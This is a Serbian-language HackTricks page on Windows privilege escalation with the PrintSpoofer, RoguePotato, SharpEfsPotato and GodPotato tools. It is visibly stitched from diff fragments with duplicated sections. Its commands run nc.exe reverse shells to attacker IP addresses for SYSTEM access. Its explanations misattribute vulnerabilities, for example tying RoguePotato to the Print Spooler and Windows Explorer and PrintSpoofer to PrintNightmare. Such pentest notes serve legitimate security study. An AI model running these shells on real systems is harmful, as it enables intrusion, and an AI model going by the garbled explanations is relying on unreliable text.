* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato ne radi** na Windows Serveru 2019 i Windows 10 verziji 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) mogu se koristiti za **iskorišćavanje istih privilegija i dobijanje pristupa na nivou `NT AUTHORITY\SYSTEM`**. Ovaj [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava alat `PrintSpoofer`, koji se može koristiti za zloupotrebu privilegija impersonacije na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi.
{% endhint %}
## Brza demonstracija
## Brza Demonstracija
### PrintSpoofer
```bash
@ -35,37 +49,17 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
NULL
```
RoguePotato je tehnika eskalacije privilegija koja iskorišćava ranjivost u Windows Print Spooler servisu. Ova tehnika omogućava napadaču da dobije sistemski nivo privilegija na ciljnom računaru.
### RoguePotato
Da bi se iskoristila ova ranjivost, napadač mora imati lokalni pristup ciljnom računaru. Prvo, napadač mora da preuzme i pokrene RoguePotato exploit. Ovaj exploit koristi ranjivost u Print Spooler servisu da bi kreirao lažni print server. Kada se lažni print server pokrene, napadač može da izvrši proizvoljan kod sa sistemskim privilegijama.
RoguePotato je posebno opasan jer se izvršava sa sistemskim privilegijama, što znači da napadač ima potpunu kontrolu nad ciljnim računarom. Ova tehnika može biti korišćena za instaliranje zlonamernog softvera, krađu podataka ili izvršavanje drugih napada na ciljnom računaru.
Da bi se zaštitili od RoguePotato napada, preporučuje se ažuriranje sistema sa najnovijim zakrpama i isključivanje Print Spooler servisa ako nije neophodan. Takođe je važno ograničiti pristup lokalnim računima i pratiti sumnjive aktivnosti na mreži.
{% code overflow="wrap" %}
```bash
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
{% code %}
### SharpEfsPotato
SharpEfsPotato je alat koji koristi ranjivost u Windows operativnom sistemu kako bi izvršio napad na lokalno podizanje privilegija. Ovaj alat koristi kombinaciju ranjivosti "RoguePotato" i "PrintSpoofer" kako bi postigao cilj.
#### Kako radi?
SharpEfsPotato koristi ranjivost u Windows Explorer-u koja omogućava izvršavanje proizvoljnog koda sa SYSTEM privilegijama. Ova ranjivost se zove "RoguePotato". Zatim, alat koristi ranjivost "PrintSpoofer" koja omogućava izvršavanje proizvoljnog koda sa SYSTEM privilegijama putem zloupotrebe Print Spooler servisa.
#### Kako koristiti SharpEfsPotato?
Da biste koristili SharpEfsPotato, prvo morate preuzeti izvorni kod sa GitHub-a. Zatim, kompajlirajte izvorni kod koristeći Visual Studio ili drugi C# kompajler. Nakon kompajliranja, pokrenite generisani izvršni fajl na ciljnom sistemu.
#### Napomena
Važno je napomenuti da je korišćenje ovog alata ilegalno bez odobrenja vlasnika sistema. Ovaj alat je namenjen samo za edukativne svrhe i za testiranje sigurnosti sopstvenih sistema.
{% endcode %}
### OštarEfsKrompir
```
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
@ -86,13 +80,7 @@ nt authority\system
```
### RoguePotato
RoguePotato je tehnika eskalacije privilegija koja iskorišćava ranjivost u Windows Print Spooler servisu. Ova tehnika omogućava napadaču da dobije sistemski nivo privilegija na kompromitovanom sistemu.
Da bi se iskoristila ova ranjivost, napadač mora imati lokalni pristup sistemu. Prvo, napadač mora da pokrene RoguePotato exploit, koji će zatim iskoristiti ranjivost u Print Spooler servisu. Kada se ranjivost iskoristi, napadač će dobiti sistemski nivo privilegija.
Ova tehnika je posebno opasna jer napadač može iskoristiti RoguePotato exploit da bi preuzeo kontrolu nad sistemom i izvršavao proizvoljni kod sa sistemskim privilegijama. To znači da napadač može da instalira zlonamerni softver, pristupi osetljivim podacima ili čak preuzme kontrolu nad celokupnim mrežnim okruženjem.
Da biste se zaštitili od RoguePotato napada, preporučuje se ažuriranje sistema sa najnovijim zakrpama i isključivanje Print Spooler servisa ako nije neophodan za vaše poslovanje. Takođe, trebali biste pratiti bezbednosne vesti i preporuke proizvođača kako biste bili informisani o najnovijim ranjivostima i merama zaštite.
RoguePotato je tehnika lokalnog eskaliranja privilegija koja iskorišćava ranjivosti u Windows Print Spooler servisu. Ova tehnika omogućava napadaču da dobije SYSTEM privilegije na kompromitovanom sistemu. RoguePotato koristi PrintSpoofer alat koji je deo od PrintNightmare ranjivosti.
```
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
@ -104,16 +92,28 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
* [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
* [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>